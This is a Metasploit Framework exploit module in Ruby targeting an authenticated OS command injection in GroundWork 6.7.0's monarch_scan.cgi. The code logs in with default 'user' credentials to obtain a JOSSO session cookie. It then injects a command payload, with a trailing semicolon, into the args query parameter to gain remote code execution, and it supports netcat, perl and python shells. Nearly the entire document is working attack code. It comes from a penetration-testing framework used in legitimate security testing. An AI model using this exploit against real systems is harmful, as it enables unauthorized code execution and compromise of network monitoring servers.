GroundWork monarch_scan.cgi OS Command Injection

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /Apache-Coyote\/1\.1/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "GroundWork monarch_scan.cgi OS Command Injection",
			'Description'    => %q{
					This module exploits a vulnerability found in GroundWork 6.7.0. This software
				is used for network, application and cloud monitoring. The vulnerability exists in
				the monarch_scan.cgi, where user controlled input is used in the perl qx function,
				which allows any remote authenticated attacker, whatever his privileges are, to
				inject system commands and gain arbitrary code execution. The module has been tested
				successfully on GroundWork 6.7.0-br287-gw1571 as distributed within the Ubuntu 10.04
				based VM appliance.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Johannes Greil', # Vulnerability Discovery, PoC
					'juan vazquez'  # Metasploit module
				],
			'References'     =>
				[
					[ 'OSVDB', '91051' ],
					[ 'US-CERT-VU', '345260' ],
					[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130308-0_GroundWork_Monitoring_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ]
				],
			'Arch'            => ARCH_CMD,
			'Payload'        =>
				{
					'Space'       => 8190,
					'DisableNops' => true,
					'Compat'          =>
						{
							'PayloadType' => 'cmd'
						},
					# Based on the default Ubuntu 10.04 VM appliance
					'RequiredCmd' => 'generic telnet netcat perl python'
				},
			'Platform'       => ['unix', 'linux'],
			'Targets'        =>
				[
					['GroundWork 6.7.0', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Mar 8 2013",
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('USERNAME',  [true, 'GroundWork Username', 'user']),
					OptString.new('PASSWORD',  [true, 'GroundWork Password', 'user'])
				], self.class)
	end

	def check
		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => normalize_uri("josso", "signon", "login.do")
		})

		if res and res.body =~ /GroundWork.*6\.7\.0/
			return Exploit::CheckCode::Appears
		elsif res and res.body =~ /GroundWork/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end

	def get_josso_token
		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => normalize_uri("josso", "signon", "usernamePasswordLogin.do"),
			'vars_post' => {
				'josso_cmd'      => 'login',
				'josso_username' => datastore['USERNAME'],
				'josso_password' => datastore['PASSWORD']
			}
		})
		if res and res.headers['Set-Cookie'] =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/
			return $1
		else
			return nil
		end
	end

	def execute_command(command)
		http_handler = ((datastore['SSL']) ? "https" : "http")
		res = send_request_cgi({
			'method'    => 'GET',
			'uri'       => normalize_uri("monarch", "monarch_scan.cgi"),
			'headers'   =>
				{
					'Referer' => "#{http_handler}://#{rhost}/portal/auth/portal/groundwork-monitor/auto-disc"
				},
			'cookie'    => "JOSSO_SESSIONID=#{@josso_id}",
			'query'     => "args=#{rand_text_alpha(3)}&args=#{rand_text_alpha(3)}&args=#{Rex::Text.uri_encode(command + ";")}"
		})
		return res
	end

	def exploit
		peer = "#{rhost}:#{rport}"

		print_status("#{peer} - Attempting to login...")
		@josso_id = get_josso_token
		if @josso_id.nil?
			fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to retrieve a JOSSO session ID")
		end
		print_good("#{peer} - Authentication successful")

		print_status("#{peer} - Sending malicious request...")
		execute_command(payload.encoded)
	end
end